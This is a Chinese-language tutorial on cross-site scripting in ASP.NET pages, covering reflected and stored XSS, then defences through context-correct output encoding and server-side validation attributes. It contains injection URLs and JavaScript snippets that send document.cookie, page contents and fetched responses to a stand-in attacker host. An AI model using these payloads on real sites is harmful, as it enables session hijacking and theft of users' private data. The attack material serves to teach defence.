XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。
實施XSS攻擊需要具備兩個條件:
一、需要向web頁面注入惡意代碼;
二、這些惡意代碼能夠被瀏覽器成功的執行。
看一下下面這個例子:
<div id="el" style="background:url('javascr這段代碼在舊版的IE8和IE8以下的版本都是可以被執行的,火狐也能執行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執行將會看到控制里拋出異常:document is not defined (document是沒有定義的)
再來看一下面這段代碼:
<div> <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" /> </div>相信很多程序員都覺得這個代碼很正常,其實這個代碼就存在一個反射型的XSS攻擊,假如輸入下面的地址:
http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最終反射出來的HTML代碼:
<div>
<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /> </div>
也許您會覺得把ValidateRequest設置為true或者保持默認值就能高枕無憂了,其實這種情況還可以輸入下面的地址達到相同的攻擊效果:
http://www.xxx.com/?id=xx" onerror="this.onload()"onload="alert(/xss/)" x="
根據XSS攻擊的效果可以分為幾種類型
第一、XSS反射型攻擊,惡意代碼并沒有保存在目標網站,通過引誘用戶點擊一個鏈接到目標網站的惡意鏈接來實施攻擊的。
第二、XSS存儲型攻擊,惡意代碼被保存到目標網站的服務器中,這種攻擊具有較強的穩定性和持久性,比較常見場景是在博客,論壇等社交網站上,但OA系統,和CRM系統上也能看到它身影,比如:某CRM系統的客戶投訴功能上存在XSS存儲型漏洞,黑客提交了惡意攻擊代碼,當系統管理員查看投訴信息時惡意代碼執行,竊取了客戶的資料,然而管理員毫不知情,這就是典型的XSS存儲型攻擊。
XSS攻擊能做些什么
1.竊取cookies,讀取目標網站的cookie發送到黑客的服務器上,如下面的代碼:
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;2.讀取用戶未公開的資料,如果:郵件列表或者內容、系統的客戶資料,聯系人列表等等,如代碼:
<!--讀取當前頁面的內容提交到黑客服務器上進行分析-->
var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement("div"); document.documentElement.appendChild(e); e.style.display = "none"; e.innerHTML = h; var frm = document.forms["f"]; frm.data.value = document.documentElement.innerHTML; frm.submit();<!--讀取當前頁面的內容提交到黑客服務器上進行分析-->
var xhr = new xmlHttPRequest(); xhr.open("POST or GET","/目標網站其他頁面的URL(如獲取郵箱列表的地址)"); xhr.onreadystatechange = function (e) { if (xhr.readyState == 4) { var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement("div"); document.documentElement.appendChild(e); e.style.display = "none"; e.innerHTML = h; var frm = document.forms["f"]; frm.data.value = xhr.responseText; frm.submit(); } } xhr.send(null);3.前面兩個是讀的操作,其實還可進行寫的操作,比如說:刪除用戶的博客,轉發指定的微博,向用戶的聯系人發送帶有惡意代碼的信息,進行下一步的傳播,如下面代碼:
var xhr = new xmlhttpRequest();xhr.open("POST", "目標網站的執行頁面");xhr.send(param);當然XSS攻擊方法遠不止這些,黑客有很多天馬行空的方法,只要是讀和寫的操作,那么我們有什么防御的方法呢?
XSS攻擊防御
一、輸出檢查
根據XSS攻擊的條件,我們可以對用戶輸出進行檢查,使用系統的安全函數進行轉義將數據和代碼分開,asp.net
的安全函數可以參考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根據不同的場景使用正確的安全函數,否則效果適得其反,如果下面例子:<a href="#" onclick="Javascript:var name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>
這個例子在HTML標簽的屬性內輸出使用HttpUtility.HtmlAttributeEncode函數進行轉義看似合情合理,但這個是特殊的屬性,它被解析為元素的事件,這類型的屬性在某特定條件下觸發事件并執行里面的代碼,如本例當用戶點擊這個鏈接是會執行里面的代碼。
比如輸入:http://www.a.com/text.aspx?n=';alert(/xss/);//
經過HttpUtility.HtmlAttributeEncode函數轉義后,輸出:
<a href="#" onclick="javascript:var name='';alert(/xss/);//';alert(name);">hahaha...</a>
點擊標簽將會彈出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被轉義為“'”即是HTML的一個實體,最終還是被解析為"'"字符,所以腳步被成功注入。
正確的做法應該是使用JavaScriptStringEncode函數或者 JavaScriptStringEncode和HtmlAttributeEncode函數:
<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>
二、輸入檢查
通常用于檢測用戶輸入的數據是否符合預期的格式,比如日期格式,Email格式,電話號碼格式等等;輸入檢查必須在服務端進行;當然為了提高用戶體驗和減輕服務端的資源客戶端也要進行一次檢查,但服務端檢查始終是必須的,有個別程序員卻調過來了認為客戶端檢查是必須的,服務端檢查是可選的,其實這是錯誤的邏輯,因為客戶端很容易被黑客繞過。
1.使用ASP.NET Mvc的屬性特性進行驗證:
using System;using System.Collections.Generic;using System.ComponentModel;using System.ComponentModel.DataAnnotations;using System.Linq;using System.Web;namespace Mvcapplication1.Models{ public class Item { [Key] [Display(Name="項目ID")] public int ID { get; set; } [EmailAddress(ErrorMessage="電子郵箱錯誤")] [Required] [DisplayName("電子郵箱")] public string Email { get; set; } }}2.當然也可以自己實現自定義驗證的特性,如下面代碼:
[Serializable] [AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)] public class FormValidationAttribute : Attribute, IProperty { /////// <summary> /////// 錯誤信息 /////// </summary> ////public string ErrorMessage { get; set; } /// <summary> /// 必需的 /// </summary> public bool Required { get; set; } /// <summary> /// 電子郵件格式 /// </summary> public bool IsEmailFormat { get; set; } /// <summary> /// 電話號碼 /// </summary> public bool IsTelephoneNumber { get; set; } /// <summary> /// 是中文名或者英文名稱,中文少于2個字符,英文不少于3個字符 /// </summary> public bool IsChineseNameOrEnglishName { get; set; } /// <summary> /// 正則表達式 /// </summary> public string RegularExpression { get; set; } public RegexOptions RegexOptions { get; set; } /// <summary> /// 最大的長度 /// </summary> public int MaxLength { get; set; } public PropertyInfo Property {get;set;} }應用到屬性上
public class Item { [FormValidation(MaxLength=200)] public string Name{ get; set; } [FormValidation(IsTelephoneNumber = true)] public string Mobile{ get; set; } [FormValidation(IsEmailFormat= true,Required=true)] public string Email { get; set; } }寫個擴展方法通過反射類型進行驗證對象的屬性是否有效:
public class FormValidationException : Exception { public FormValidationException(PropertyInfo field) : this(field, null) { } public FormValidationException(PropertyInfo field, string message) : base(message) { Property = field; Field = field.Name; } public string Field { get; private set; } public PropertyInfo Property { get; private set; } public override string Message { get { string msg = base.Messa
新聞熱點
疑難解答